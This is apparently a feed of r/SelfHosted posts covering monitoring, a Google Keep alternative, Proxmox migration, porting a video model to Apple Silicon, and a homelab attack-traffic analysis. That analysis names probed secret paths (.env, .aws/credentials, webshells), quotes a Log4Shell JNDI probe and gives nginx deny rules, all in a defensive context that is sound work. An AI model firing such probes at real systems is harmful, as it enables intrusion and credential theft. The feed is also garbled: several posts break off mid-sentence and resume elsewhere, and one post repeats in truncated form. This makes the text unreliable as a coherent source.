Recommended approach to monitor NPMplus + Crowdsec
I have several selfhosted services exposed via reverse proxy. I use NPMplus+Crowdsec stack. The command line output shows ok statistics. But I would like to have a more convenient way to monitor like web dashboard. The Crowdsec console free tier has an alert quota each month so not very useful after hitting the quota.
I am wondering what you all use to monitor. Are there any selfhosted monitoring options you would recommend? Thanks
https://redd.it/1v0tta5
@r_SelfHosted
Anchor v0.14.0 is out: import your notes straight from Google Keep
First off, thank you. Anchor just crossed 1,000 stars on GitHub, and honestly I didn't expect it to catch on the way it has. Seeing people actually self host it, use it every day and send in feedback and contributions has been the best part of building this. So thank you to everyone who's starred it, tried it, reported bugs, or just spread the word.
For anyone new here, Anchor is a mobile first, offline first, self hosted note taking app, built as a Google Keep alternative. And with this release, you can finally bring your Google Keep notes directly into it.
What's new
Import from Google Keep. Export your data with Google Takeout, drop the zip into Anchor, and it brings across your checklists, labels (as tags), note colors, images, pinned notes, and dates.
Import and Export. Export your whole library, including notes, tags, and attachments, and import it back later. Good for backups or moving between servers.
Android home screen widget. Put your notes right on your home screen. Tap a note to open it, or start a new one without opening the app first.
Native splash screens. The mobile app now shows a proper native splash on launch, so opening it feels faster.
If you're using Anchor or thinking about it, I'd love to hear what you think. There's also a Discord now if you want to ask questions, report bugs, or suggest features. Feedback and contributions are always welcome.
Github: Anchor | Releases
Discord: https://discord.gg/sAfqjy8EYK
https://redd.it/1v0r5jk
@r_SelfHosted
My tiny mini-PC does more than it has any right to (Beelink N150, 12GB RAM)
https://redd.it/1v0n6yd
@r_SelfHosted
I analyzed 30 days of traffic hitting my homelab reverse proxy. 1.16 million requests were attacks. Here's what they're actually looking for.
Like most of you I run a bunch of services behind Nginx Proxy Manager (Emby, \*arr stack, some personal apps, \~40 proxy hosts). I alway*s* knew the internet background noise was there, but I never actually measured it. So I pulled 30 days of NPM access logs (June 19 – July 19) and wrote a parser to separate real traffic from scanner/attack traffic.
I expected it to be bad. It was worse, and also weirder, than I thought.
# The headline numbers
* **5.4 million total requests** in 30 days
* **1,158,788 of them (21.4%) were malicious** — scans, exploit probes, brute force
* That's **\~38,600 attack requests per day**, or **one every \~2 seconds**, around the clock
* From **10,316 unique IPs** across 100+ countries
* This is a private webserver. Nothing here is popular. Nobody is targeting *me* — this is just what every public IPv4 with port 443 open gets.
https://preview.redd.it/5910x4p9v5eh1.png?width=1760&format=png&auto=webp&s=c5765fb6730a91e1e2a41d4aae0ca163999622e8
# What they're looking for (this is the interesting part)
https://preview.redd.it/3epw2j9bv5eh1.png?width=1760&format=png&auto=webp&s=300152c58c8f2303f05bd75d5f6ec5460b9d2c25
**1. WordPress, everywhere, forever ...196,000 requests.** I don't run WordPress. Not a single install. Doesn't matter: `wp-login.php`, `xmlrpc.php`, `/wp-content/plugins/...` got hammered \~6,500 times per day. If you've ever wondered why the whole internet treats WordPress as the default target: because statistically, it is.
**2. They're not only looking for vulnerabilities-they're looking for** ***other people's backdoors*****.** This one surprised me most. 26,000+ requests probed for **already-installed webshells**: `alfa.php`, `wso.php`, `mini.php`, `shell.php`, `wp_filemanager.php`. These bots aren't trying to hack you... they're checking whether*someone else already did*, so they can take over the compromised box without doing any work. There's a whole secondary market of stealing other attackers' victims.
**3. Secrets hunting.. 114,000 requests for** `.env`**,** `.git` **and cloud keys.** Top targets: `/.git/config` (6,055×), `/.env`(3,903×), and my personal favorite: `/.aws/credentials` (1,159×). They also try every variant devs actually create: `/.env.bak`, `/.env.old`, `/api/.env`, `/backend/.env`, `/.env.production`. If you ever deployed a `.env` file into a webroot "just temporarily" — it was found. Probably within hours.
**4. Yes, someone tried Log4Shell. In 2026.** One single beautiful request: `/?x=${jndi:ldap://...oast.me/...}` with an out-of-band callback URL. Four and a half years after disclosure, it's still in the rotation.. because scanning is free and somewhere out there, some appliance still isn't patched.
**5. The long tail is a museum of every vulnerability ever.** PHPUnit `eval-stdin.php` (RCE from 2017), Laravel Telescope + `_ignition`, Spring Boot actuators, ThinkPHP, Solr, GeoServer, Exchange OWA/autodiscover, Docker API `/containers/json`, router exploits via `/cgi-bin/` and `boaform`, GlobalProtect/Pulse VPN logins. Nothing ever leaves the scan lists. Ever.
# Where it comes from (not where you think)
https://preview.redd.it/sgri8cnjv5eh1.png?width=1600&format=png&auto=webp&s=aa6b19cdee66b212813a5083756e196628208b36
Sorted by request volume, the top sources were **Canada, Brazil, USA, Japan, UK**. Surprised? Look at the IPs: **8 of my top 15 attacker IPs were Microsoft Azure ranges** (20.x.x.x), plus the usual bulletproof hosting in NL. The "country" is just wherever the cheapest cloud region is. The comfortable mental model of "attacks come from a few bad countries, I'll just geo-block them" doesn't survive contact with the data ..you'd have to block US/CA/EU clouds first.
Also fun: several scanners identify themselves politely in the User-Agent (`l9scan` from LeakIX, `GitFinder/1.0`, Palo Alto's Cortex Xpanse saying "Hello from Palo Alto Networks"), while a large botnet gives itself away with
Self-hosted live chat with a local-AI chatbot — conversations never leave your server
I didn't want to hand customer conversations to a SaaS cloud just to put live chat on a couple of sites, and the self-hosted options felt thin — so I built one that installs on your own box and keeps everything local. Posting here for a gut-check from people who actually run this stuff, especially on the deployment side.
**What it is:** a website chat widget + an operator console + an optional AI chatbot, all running on infrastructure you control.
**Stack / how it self-hosts:**
* Two builds from the same codebase and SQL Server schema: modern [**ASP.NET**](http://ASP.NET) **Core 8** (IIS *or* Linux/Nginx/Docker), and a classic [**ASP.NET**](http://ASP.NET) **Web Forms 4.8** build for older Windows Server / classic IIS.
* All data — transcripts, visitor records, ratings, audit log — lives in **your own SQL Server**.
* **AI is optional and can be fully local:** point it at a local **Ollama** model and nothing leaves your network, or bring your own OpenAI/Anthropic keys. Answers from a knowledge base, hands off to a human with the transcript.
* GDPR export/erase, per-IP rate limiting + login lockout, signed **webhooks** (Slack/Teams/Discord) with retry, health endpoints, audit log.
* \~16 KB shadow-DOM widget, keyboard-accessible, works over plain HTTP polling.
**Honesty up front:** I'm the developer. It's called **ZChat** ([https://zchat.com](https://zchat.com/)) and it's a commercial product — a one-time license from $299, no per-agent seats, no monthly fee; not open source, though a source-code license is an option. The free evaluation is the full product and runs on localhost, so you can self-host the whole thing before paying. Flagging all that so nobody feels baited.
For those self-hosting customer-facing tools — what do you want out of the deploy: reverse-proxy/HTTPS docs, a container image, Postgres instead of SQL Server, a compose/Ansible recipe? That'd steer what I build next.
https://redd.it/1v0h7j8
@r_SelfHosted
Migrating from Ubuntu to Proxmox, looking for suggestions
I'm planning to migrate my homelab from a bare-metal Ubuntu install to Proxmox for better service isolation and easier backups.
Right now, I run my entire media stack, AdGuard Home, Vaultwarden, torrent clients etc. in docker containers on Ubuntu.
From the research I've done so far, it seems the common approach is to run an Ubuntu VM for most docker workloads, while keeping services like AdGuard Home in separate LXC containers.
Is this how most of you structure your Proxmox setup? If not, I'd love to hear how you've organized yours.
https://redd.it/1v052bu
@r_SelfHosted
How do you block ads?
I'm fairly new to home networking, so I'm trying to learn as much as I can while building my network (I just built my own server with some self hosted apps). My question is how do you guys block your ads (assuming you do at all)? I use Pihole for blocking at the DNS level, but this is obviously ineffective when ads are being served from the same source as content you're trying to view. Do you pair DNS level ad blockers with browser extensions to better identify ad placement? I'd love to know. Also, if I'm posting in the wrong subreddit please feel free to point me in the right direction. Thanks !
https://redd.it/1v00sqz
@r_SelfHosted
Raspberry Pi's
I'm currently going through my old computer spares and I've discovered the following:
* 2x Raspberry Pi v1 256MiB
* 3x Raspberry Pi Zero
* AMD Athlon A6 32Gib DDR3
* 3x 3TiB Sata Disks
Currently I have
Raspberry Pi 5 16GiB:
* Pi-Hole
AMD AM4 4500G, 48GiB RAM, 21TiB Storage via Portainer Stacks (docker compose):
* Audiobook Shelf
* Gitlab
* Home Assistant
* Immich
* Immich Frame
* Jellyfin
* Navidrome
* NGinx Proxy
* Paperless
* Wishlist
I could setup Kubernetes/GlusterFS on the Raspberry Pi's, but I'm not sure they have the Compute/RAM to do anything?
Also I am wondering if migrating Pi-Hole to a docker based system on the AMD A6, or if I am better using it as a backup instance for the main server.
Or if I am best chucking it on Facebook marketplace for a £5
https://redd.it/1uzuo54
@r_SelfHosted
approval via discord. Critical infrastructure is tagged so it can never be updated without written approval from me
\- A triage agent for outages that investigates the root cause, fixes non-critical services itself, and escalates critical infra to me
\- A security agent that runs weekly, scanning running images for CVEs, checking for config drift, and watching cert expiry
\- A pattern-finder agent that reads back through the incident history to spot what keeps breaking or what's trending worse, and suggests a permanent fix instead of me re-patching the same thing every few weeks
\- A research agent that looks for new self-hosted services, better replacements for things I already run, and automation ideas, then sends me a newsletter-style writeup on discord
Security hardening
The two criticisms of AI I see most on this subreddit are that it can't be trusted with security, and that it'll eventually go rogue and break something. While I think this is very accurate for someone who has zero knowledge to start with, my experience is if you have at least some knowledge as a base, AI can help far more than it harms. Addressing security first:
The security hardening on this stack is the most important thing claude code made possible, and genuinely none of it would have been feasible for me otherwise. It's exactly the kind of slow, detailed, easy-to-lose-your-place work that my memory/focus/capacity can't sustain anymore. A few of the things we've done together:
\- Audited docker privileges container by container. Everything drops all Linux capabilities by default and only adds back the specific ones it actually needs, runs with no-new-privileges, and gets memory and pid limits. Where a service used to run as root for no reason, that got fixed
\- The Docker socket is never exposed raw. The handful of tools that need the Docker API go through a socket proxy that only exposes the specific endpoints they need
\- Only a few services are reachable over WAN. Everything else is LAN-only or over Tailscale, so most of the stack has no exposed attack surface at all
\- Secrets moved into a self-hosted Infisical instance and get injected at runtime as either files (mounted to tmpfs) or env vars, depending on what each image supports, so there are no plaintext secrets sitting in env files. The sensitive config files that can't live in Infisical are encrypted at rest with git-crypt
\- Databases sit on an internal-only docker network with no host ports, so nothing can reach them except the services that are supposed to
\- Host ports were removed from the vast majority of services since they only need to be accessed by Traefik over docker's internal network
\- SSO with 2FA (Authelia) in front of the services that have no auth of their own, and native OIDC for the ones that do
\- CrowdSec watching Traefik and banning malicious IPs
\- Host-level hardening too, not just containers: SSH lockdown, sysctl hardening drop-ins, PAM cleanup, a Proxmox hardening profile, a TLS 1.2 floor, automated cert renewal, etc
\- Weekly automated CVE scanning of running images plus config-drift detection (the security agent above)
In addition to security hardening, claude code helped me learn what I needed to know re: RouterOS configuration in order to setup the Microtik router properly. RouterOS is a beast that I never would have been able to tackle on my own.
This is the laboreous kind of security work that's easy to get wrong or just never get around to. I have the knowledge to know what should be done and to double-check what is being done. What I didn't have anymore is the ability/capacity to actually sit down and grind through all of it. That's the huge gap claude code fills, and it's why I'd push back on the idea that using AI automatically makes someone's homelab less secure. It's the opposite in my situation.
The safeguards I have in place
The other concern - that it'll break something - is mitigated to the point where major issues have only been caused by claude code maybe once or twice in the past year+. My family
Docker Advice Needed
Hello y'all! I'm trying to determine if I just need to take the L and learn Docker and how to even start.
At the moment I'm currently running a Minecraft server and Jellyfin server off of an old Windows desktop that I didn't really use anymore (both through tunnels, MC being through playit and Jellyfin through cloudflared). I tried figuring out Docker initially when setting up the Jellyfin server, but eventually decided to just run it off of the machine directly.
As of recently for me, I'm starting to run out of room on my Google Drive and I just have zero desire to pay extra for a plan, especially since I also already pay for an iCloud plan and I need my files easily accessiable to a small group of people. I was starting to look into Nextcloud for a solution, but I saw that it would have to be ran in Docker.
So I guess my question is, should I move my existing servers over to Docker and try and figure out my steps there, or just only use Docker for Nextcloud??
Thanks in advance!
https://redd.it/1uuujaa
@r_SelfHosted
Docker music server that uses directories?
I installed Navidrome some time ago and while I very much like the software, it has a shortcoming (for me); it is based on a database which needs correct tagging.
I have a large number of audio files (mp3 and flac mostly) but most of these don't have the correct tags. The files are located in directories named: artist - album.
Is there a player available that will serve based on folders? Preferably based on docker compose.
Edit: just to clarify.. I know I can use mp3tag to do this "properly" but I have too many files and too little time.
https://redd.it/1uu9syn
@r_SelfHosted
Self-hosting LingBot-Video on Apple Silicon: a 12-line diff off its CUDA-only stack, and what one clip actually costs
Context for why this belongs here: it is an open-weights, Apache-2.0 text-to-video model, so it is one of the few video generators you can actually self-host, instead of paying per-second on a hosted API like Runway, Pika, or Kling. The catch is that the official inference stack assumes an NVIDIA box top to bottom, so "self-hostable" on paper still meant "runs on an NVIDIA box I do not own."
The 30B MoE version is out of reach on this machine. One base DiT in bf16 is about 60 GB, and a 64 GB Mac only exposes about 55.7 GB to the GPU (the Metal working-set limit, roughly 81 percent on this 64 GB machine), so the big one is a few GB short before you even load the text encoder. This is the small dense-1.3b variant instead: same pipeline code, weights about 12 GB on disk.
What it took to get onto Apple Silicon (MPS):
* The repo pins a CUDA-13 torch nightly and imports FlashAttention-3, which is Hopper-only. I ran stock torch 2.13 with MPS and defaulted the attention to SDPA when CUDA is absent.
* decord (the video reader) has no arm64 mac wheel. eva-decord is a drop-in under the same import name.
* The one that actually hurt: a bf16 Linear fed fp32 input does not raise on MPS, it aborts the whole process with an uncatchable Metal assertion (exit 134). On CUDA the autocast context hides this; the un-patched denoise loop feeds exactly that. Wrapping the transformer forward in an MPS-aware autocast fixed it.
That is the whole port. Three files, twelve lines. The escape hatches (SDPA fallback, a for-loop path around the MoE, native complex RoPE in recent torch) were already in the code. Nothing tells you they are there.
Numbers on an M5 Pro, 64 GB, macOS 26.4:
* Weights: the transformer is 2.6 GB, but the Qwen3-VL-4B text encoder is 8.3 GB. The "small" 1.3B model's real footprint is set by a text encoder three times its size.
* Smoke test at 192x320, 5 frames, 8 steps: 5.5 seconds of denoising, about 1.45 it/s. Output was clean, no NaN mush (Wan-family models have a history of bf16 NaNs on MPS, so I checked the pixel stats).
* A 480x832 / 49-frame / 20-step run: about 35 seconds per step on MPS. I measured 16 of the 20 steps (about 9.5 minutes in) and stopped there once the per-step time was stable, so the roughly 12 minutes of denoising for a full 2-second clip is 20 x 35 on paper plus VAE decode, not a render I have sat through to the end.
In practice this is not replacing a cloud service if you are in a hurry. An extrapolated twelve minutes of denoising for two seconds means the plan is to iterate at low res and only spend the full 480p budget when a prompt is worth it. It also cannot use the batched-CFG fast path (that one really is FlashAttention-3 only), and it does not take raw text prompts, it wants a structured JSON caption from a rewriter model.
It runs as a one-shot batch job, not an always-on daemon: you kick off a render and collect the file when it finishes, the same shape as a local transcode. What matters for this sub is that the whole pipeline runs on hardware I own instead of a metered cloud API. I am posting it because I could not find the MPS specifics written down anywhere, and the gap between "open weights" and "runs on my Mac" was twelve lines across three files, not a rewrite.
To be clear I did not build this model, I just ported it. It is the one that happened to be Apache-2.0 and small enough to fit on 64 GB. It got a wave of attention across the AI subs last week; this post is only about getting it onto a Mac and what that costs.
Repro (Apple Silicon, about 12 GB disk for weights):
LINGBOT_QWEN_ATTN_IMPLEMENTATION=sdpa .venv/bin/python scripts/inference.py \
--backend diffusers --model_dir ../models/lingbot-video-dense-1.3b \
--mode t2v --prompt_json assets/cases/t2v/example_1/prompt.json \
--duration 2 --height 480 --width 832 --steps 20 \
--guidance_scale 3 --shift 3 --fps 24 --seed 42 \
--transformer_dtype bf16 --text_encoder_dtype bf16
Portainer alternatives. What are you using?
First off, I'm new to docker and this community -- I appreciate all the opinions shared here; I'm learning a lot! I opted for portainer to manage my stack. But I am finding it is not as feature rich as I would like. Things like monitoring the health of stacks, notifications, updates (or auto update for some stacks) require other tools. For updates, I could add WatchTower, but it is not maintained. There is a fork, or whats up docker (WUD) or DIUN. But that led me to Dockhand and down a rabbit hole of other alternatives to Portainer that are out there. I see multiple options: Dockhand, Komodo, Arcane, Dockge to name a few.
What do you use and why? Since my build is still relatively new, it would be easier to migrate or start from scratch, so I'm looking to make a change and appreciate your opinions!
I'm leaning towards trying Arcane because I believe it has a low footprint, image up detection, manual or auto update, notifications, and even vulnerability scanning. I've heard positive things about Komodo, too, ie being quite feature rich, but others have complained about bloat/resource usage and it's use of MongoDB.
Edit: Thanks all for responses! Similar to what I’ve heard lurking, there’s a mix of responses in what you use. I am hearing a lot of why you switched from Portainer. I think the case for that is fairly clear. I guess I’m asking is why did you go for dockhand over arcane or Komodo, or vice versa?
https://redd.it/1uum8fn
@r_SelfHosted
Looking for self-hosted event timetable
I'm looking for a simple tool to create an event schedule webpage with different tracks and automatic timekeeping, as in events of the past are not shown anymore. I don't need a tool for planing or organizing the schedule, just a nice way to display it, mobile-friendly. Happy about any hints!
https://redd.it/1uuhfa4
@r_SelfHosted
https://www.screenly.io/blog/2026/06/03/anthias-v2026-06-1/
v2026.07.1 (plus v2026.06.3 and v2026.07.0 rollup): [https://www.screenly.io/blog/2026/07/10/anthias-v2026-07-1/](https://www.screenly.io/blog/2026/07/10/anthias-v2026-07-1/)
Changelogs: https://github.com/Screenly/Anthias/releases
Existing installations upgrade automatically.
Thanks to everyone who filed issues and tested builds. The video overhaul in particular took a lot of back-and-forth with the community to reproduce edge cases across hardware.
Happy to answer questions. Viktor (u/mvip) and I are both watching the thread.
https://redd.it/1uuai2v
@r_SelfHosted
Routing ports to services with nginx, truenas scale and DDNS
Long time reader, first time poster; I have built my home server basically thanks to this sub so thank you! This time I decided to ask for direct help after many months struggling with the same issue going through different forums and trying literally anything.
I successfully set-up my home server with Truenas Scale and started my adventure by deploying Nexcloud.
Since I want to use my services also outside of my home I also managed to install Nginx Proxy Manager and exploit it with a DDNS provider to have an address that would allow me to access Nextcloud.
I created an SSL certicicate and used the "Proxy Host" feature of NPM configured as below. Everything went smooth.
[NPM Proxy Host for Nextcloud](https://preview.redd.it/r1x6hgsot6eh1.png?width=1044&format=png&auto=webp&s=b4a07df686daf14932e2dc2f33274d32e4913c88)
My WORKING setup (nextcloud only, fake ports and addresses of course):
* DDNS provider -> myserver.ddns.com
* Router configuration
* HTTP port forwarding: 80 (external) --> 123 (internal, server IP)
* HTTPS port forwarding: 443 (external) --> 456 (internal, server IP)
* Server configuration (on truenas)
* NPM
* HTTP --> 123:80
* HTTPS --> 456:443
* Proxy Host configured from "myserver.ddns.com" to serverIP:789
* Nextcloud
* configured ports 789:80
Next service I wanted to deploy was Plex. I successfully deployed it but now I am having issues to expose it externally. What I would like to achieve is to be able to use ports or paths on my DDNS site to access different services.
Example with ports:
* myserver.ddns.com (without any port) would direct me to a 404 page or in general to a null page (to avoid exposing my actual router page)
* myserver.ddns.com:789 would direct me to 192.168.1.2:789 (service X, e.g. nextcloud)
* myserver.ddns.com:1011 would direct me to 192.168.1.2:1011 (service Y, e.g. plex)
Example with paths
* myserver.ddns.com (without any path) would direct me to a 404 page or in general to a null page (to avoid exposing my actual router page)
* myserver.ddns.com/nxt would direct me to 192.168.1.2:789 (service X, e.g. nextcloud)
* myserver.ddns.com/plx would direct me to 192.168.1.2:1011 (service Y, e.g. plex)
The point here is that I use a DDNS provider that only gives me 1 domain for free (myserver.ddns.com) and I would like to keep it like this. I am aware that paying for additional features from my DDNS provider would allow me having additional domains or sub-domains that I could link to the different services with the "Proxy Host" feature.
I guess that NPM proxy host is not the right tool since it can forward only to a single port. I have tried using its "custom locations" tab but I was unsuccessful. I have also tried to use the "stream" module instead of the "proxy host" but also that was unsuccessful.
Thanks to everybody who will support!
https://redd.it/1v0raap
@r_SelfHosted
Updated Orange Pi 3B Nextcloud Server with NVME Drive
https://redd.it/1v0nnuf
@r_SelfHosted
a typo'd UA: `Mozlila/5.0 ... Bulid/NRD90M` ("Mozlila" appears in \~3k requests.. grep your logs for it, it's a known IoT botnet signature).
# What actually helped on my setup
My NPM already answered \~95,000 requests with `444` (connection closed without response) thanks to a few block rules. If you run NPM, this goes into the proxy host → Advanced tab (or a custom snippet include):
nginx
# Kill scanner traffic before it reaches your apps
location ~* \.(php|php\d|phtml|asp|aspx|cgi)$ {
return 444;
}
location ~* /(wp-admin|wp-login|wp-content|wp-includes|xmlrpc\.php) {
return 444;
}
location ~* /\.(env|git|svn|aws|ssh|npmrc) {
return 444;
}
location ~* /(phpmyadmin|pma|adminer|mysql)/ {
return 444;
}
(Obviously: only if your backend app doesn't actually use PHP. Adjust per host.)
Beyond that, the boring standard advice is boring because it works:
* **Don't expose what doesn't need exposing.** Every service behind VPN/Tailscale = zero entries in this dataset.
* **A fallback/default host catches everything without a valid hostname.** Half of my attack traffic (583k requests) never even reached a real service because it hit the catch-all. Bots scan IPs, not your DNS.
* **Fail2ban / CrowdSec on the NPM logs** takes care of the persistent ones... my most dedicated fan hit me on 30 out of 31 days.
* **Never, ever have** `.env` **or** `.git` **reachable in a webroot.** The data above shows exactly how fast it gets found.
# Methodology (short)
Parsed all NPM access logs (fallback + per-host) with a Python script. "Attack" = request hit the fallback host (no valid hostname), matched a scanner signature (path patterns for the categories above), or got answered 444. Legit traffic to my apps (Emby API etc.) was excluded. Happy to share the parser if there's interest.
**TL;DR:** Your homelab gets attacked every 2 seconds. Nobody is targeting you, and that's exactly the point- it's fully industrialized, it comes from mainstream cloud providers as much as from shady hosts, it's hunting for your `.env` files and *other hackers' backdoors*, and 20-year-old exploits never leave the rotation. Expose as little as possible, and give the rest a 444.
https://redd.it/1v0mrjd
@r_SelfHosted
PSA: Check your PiHole/AdGuard lists from BlocklistProject
I use lists from blocklistproject and noticed that they changed the default branch name from master to main. This made links to blocklists to return 404. Looks like this happened about 2 weeks ago.
if you use them, and haven't checked your pihole in a while, have look. You should be able to just change /master/ part of the url to /main/ and it should work again.
\---
To check, go to Lists from the left menu, and ensure all your lists have a green icon and not red or orange. You can also go to Tools > pi-hole diagnostics and see if there are failures related to Gravity.
If you are affected, you can create a new entry for each list (with the /main/ link), and delete the old one. Then Tools > Update Gravity to fetch them again.
\---
https://www.reddit.com/r/pihole/comments/1v0kfu3/check\_your\_lists\_from\_blocklistproject/
https://redd.it/1v0kjb6
@r_SelfHosted
My Lovable-like startup died, so I open-sourced its engine — one home for all open-source apps and coding agents
TLDR: Sandboxd is an open-source, self-hosted alternative to Lovable. You run all your apps in isolated sandboxes on your own server — as many as you want, they sleep when idle so a small server handles a lot. One command to install (Docker), each app gets its own preview URL, and everything stays yours: infra, code, data. Repo + demos below.
How it started:
8 months ago, I started a company with my co-founder. The company is called upilote. It's basically a Lovable clone. We allowed users to vibe code their own applications and stores and we took care of fixing technical issues to make it to production. That was basically the idea behind upilote. After six months on the market, we figured out that we couldn't handle all the costs and we ran out of money. So we decided to stop it (we didn't want to waste energy and time on fundraising either).
Why I open sourced it:
The decision to stop upilote was not easy. After six months of work, we had some clients, but not enough to keep pushing. We didn't want to raise funds — that would take us a lot of energy and time. And we weren't even sure we would make it. So we decided to stop things. And with my co-founder, we wanted to keep that valuable brick alive and not let it die with the startup. That brick was the infrastructure behind upilote. So we decided to open source the infra layer. 6 weeks ago I published it on Hacker News. It got a lot of traction and then it went kind of viral. It was GitHub's trending repository of the day for Go.
What you can do with it:
I'll share with you what I did with it so you have some ideas about what you can do too.
start a blog from scratch
One of the use cases was to maintain my apps and blogs or even create them from scratch. For example, if you are familiar with Astro, Eleventy or any blogging framework, you can basically bring the repo to Sandboxd and ask the agent to set up the right theme, fix the layouts, or even write an article for you if you are comfortable with AI, etc.
Another use case: start from a known open source stack, like an automation technology, n8n for example. You can ask the agent to create a workflow, for example an automation for your home lab.
Create a workflow on n8n
A third use case would be to create an application from scratch, a Next.js or React app, or start from a starter kit. And you keep maintaining it from that instance of Sandboxd.
So if I want to modify my n8n automation for one project, or add a feature to another, I do all this in one central place: on Sandboxd.
I would love to hear what you would do with it, what apps you'll run and what you'll create. There are some concepts on the website that may need your attention to fully understand the project.
It's a beta version so expect a lot of changes in the next weeks.
Feel free to give your feedback.
Demos on the README and on the website.
This post was written by me; I used AI only to check grammar and spelling.
Name : Sandboxd
Repo: https://github.com/tastyeffectco/sandboxd
Website / docs: https://sandboxd.io/what-is-sandboxd
Disclosure: the tool itself runs coding agents, and some of the code was written with AI assistance.
https://redd.it/1v03q1p
@r_SelfHosted
Desktop equivalent for jtx Board (syncing Journals/Notes/Tasks via CalDAV)
I’ve been using jtx Board on Android to manage my journals and tasks, syncing everything through a Baïkal CalDAV server. It works perfectly, but I’m struggling to find a desktop equivalent.
Most desktop calendar apps handle VTODO fine, but they completely ignore VJOURNAL entries. I’m hoping to find a desktop client that doesn't skip over VJOURNAL.
Has anyone found a native desktop app (Linux/Windows) that actually reads and writes VJOURNAL entries via CalDAV? Or am I stuck running the Android app via Waydroid?
Any advice or "hidden gems" would be greatly appreciated!
https://redd.it/1v02ec2
@r_SelfHosted
Creating a self-hosted media server as a tech illiterate beginner
Hi everyone, just discovered the world of self-hosting and I’m both very excited and very overwhelmed.
I am as new to this as you can be; have only used windows, never built a computer, never set up a server, no vm experience etc. Everything is new, but I am willing to learn.
The plan is to create a self-hosted Jellyfin media server out of my large collection of DVDs and Bluerays on an unused desktop computer (basically using it as a NAS).
But after watching a vast amount of different YouTube videos I am still a bit unsure on where to start.
HARDWARE
\- AMD Ryzen 7 2700X
\- ASUS GeForce RTX 2080 8GB DUAL
\- ASUS PRIME X470-PRO
\- Corsair 32GB DDR4 2666MHz CL16
(The plan is to buy at least one SSD though I’m not sure what size yet, and two to three 4TB HDDs as a start)
REMOTE ACCESS SOLUTION
If possible I want to use NordVPNs Meshnet feature, since my friends and family are familiar with this and can easily set it up at home.
I know a lot of people use Tailscale or reverse proxy, but I would prefer to begin with Meshnet.
Here are my main questions (sorry if they are a bit dumb):
1. What OS would you recommend for a beginner? Preferably something compatible with using NordVPNs Meshnet and is easy to use for setting up RAID + server
2. Do you usually rip your DVDs/Blurays directly on the NAS / host device, or do you do this on a seperate device and move it to the media server folder from there?
3. Further down the line I might upgrade to a UGREEN NAS. Any steps / preperation I can do on my first setup so I can easily re-use my SSD/HDDs on that hardware and safely move my media there when the time comes?
4. Any other tips or recommendation on guides to set all this up?
Thank you for your patience!
https://redd.it/1v00488
@r_SelfHosted
actually uses multiple services in the stack daily (Bitwarden, Plex, CouchDB for Obsidian livesync, pdf tools, Romm, etc), so the whole enforced modus operandi leans toward "stop and ask" over "just do it":
\- Critical infrastructure (Traefik, Authelia, databases, etc) is pinned to exact image digests and can never be auto-updated. It takes my written approval to make any changes to those specific services
\- The update research agent never pulls or recreates anything live. It only ever queues. That single 6am job is the one thing that touches running containers, and the agent does adhoc db backups + captures the old image digest first so it can auto rollback if the new one comes up unhealthy
\- My PVE cluster and PBS are report-only. The agents will alert me on a problem but are hard-blocked from SSHing in or changing anything
\- Anything mutating goes through the command permission gate described above
\- I have both VM and file-level backups that are verified daily
None of this is hands-off. I'm still making the calls on anything that matters, and I'd never hand this to someone without the background to catch when claude code is confidently wrong (which still happens). But between the skills handling the repetitive setup, the agents watching and handling the monitoring/alerts, and hard limits on the operations that can actually break something, a \~170 container stack has become something I can run solo again. For me that's not a productivity thing so much as getting a part of my life back.
The next project I'm working on with claude code's help is moving towards IaC using ansible, along with exploring Kubernetes just for the fun of it.
https://redd.it/1uzwpsl
@r_SelfHosted
1y after posting about my 100% gole
https://redd.it/1uuz6ls
@r_SelfHosted
Self-hosting security (or, how can I add an extra layer of security)?
I love self-hosting. I run Immich and a few other services. I understand the basics pretty well, but while working on some tools for myself (I'm building a minimal google drive replacement in go+ts, plus a budgeting app, plus a slack replacement - all of them with blackjack and hookers, of course), I became concerned that if I were to expose these services to the internet I would be entirely dependent on my programming skills (which, while legendary, may not be perfect) to protect my data.
I'm aware the general advice is "don't expose things to the internet" but I don't get how people live inside a VPN, especially on phones and especially when I want to be able to hook my family up with some self-hosted goodness without having to explain "if you don't see this little key icon in your notification bar, you won't be able to access your photos - if this happens you have to..." (at which point their eyes have already glazed over).
So my question is, is there a way to add an extra layer of security? I assume it would be easy enough for web-based services (Authentik? or some others I forget the names of) but what about non-web services like Immich? It's still HTTP but it uses an app so I'm not sure if it's possible to layer something in between. Perhaps a proxy you have to be signed into separately? But then how would the auth details be sent along with Immich packets? I am confuse as to whether this is possible and an LLM was not very enlightening. Real humans pls help.
Apologies if this has been asked a million times, my google fu failed me.
I joke, but I am actually keeping things as extremely simple as possible to avoid unnecessary attack surfaces, and once finished, they'll be open-source so I can get more eyes on my code.
https://redd.it/1uutzop
@r_SelfHosted
--vae_dtype fp32
Weights and code: [huggingface.co/robbyant/lingbot-video-dense-1.3b](http://huggingface.co/robbyant/lingbot-video-dense-1.3b) and the matching GitHub repo. First comment has the four patches plus a terminal capture showing device=mps and the smoke test running at about 1.45 it/s, and the smoke-test output frame, so you can sanity-check the numbers before you spend the disk on weights.
https://redd.it/1uums2l
@r_SelfHosted
Self-hosting LingBot-Video on Apple Silicon: a 12-line diff off its CUDA-only stack, and what one clip actually costs
Context for why this belongs here: it is an open-weights, Apache-2.0 text-to-video model, so it is one of the few video generators you can actually self-host, instead of paying per-second on a hosted API like Runway, Pika, or Kling. The catch is that the official inference stack assumes an NVIDIA box top to bottom, so "self-hostable" on paper still meant "runs on an NVIDIA box I do not own."
The 30B MoE version is out of reach on this machine. One base DiT in bf16 is about 60 GB, and a 64 GB Mac only exposes about 55.7 GB to the GPU (the Metal working-set limit, roughly 81 percent on this 64 GB machine), so the big one is a few GB short before you even load the text encoder. This is the small dense-1.3b variant instead: same pipeline code, weights about 12 GB on disk.
What it took to get onto Apple Silicon (MPS):
The repo pins a CUDA-13 torch nightly and imports FlashAttention-3, which is Hopper-only. I ran stock torch 2.13 with MPS and defaulted the attention to SDPA when CUDA is absent.
decord (the video reader) has no arm64 mac wheel. eva-decord is a drop-in under the same import name.
The one that actually hurt: a bf16 Linear fed fp32 input does not raise on MPS, it aborts the whole process with an uncatchable Metal assertion (exit 134). On CUDA the autocast context hides this; the un-patched denoise loop feeds exactly that. Wrapping the transformer forward in an MPS-aware autocast fixed it.
That is the whole port. Three files, twelve lines. The escape hatches (SDPA fallback, a for-loop path around the MoE, native complex RoPE in recent torch) were already in the code. Nothing tells you they are there.
Numbers on an M5 Pro, 64 GB, macOS 26.4:
Weights: the transformer is 2.6 GB, but the Qwen3-VL-4B text encoder is 8.3 GB. The "small" 1.3B model's real footprint is set by a text encoder three times its size.
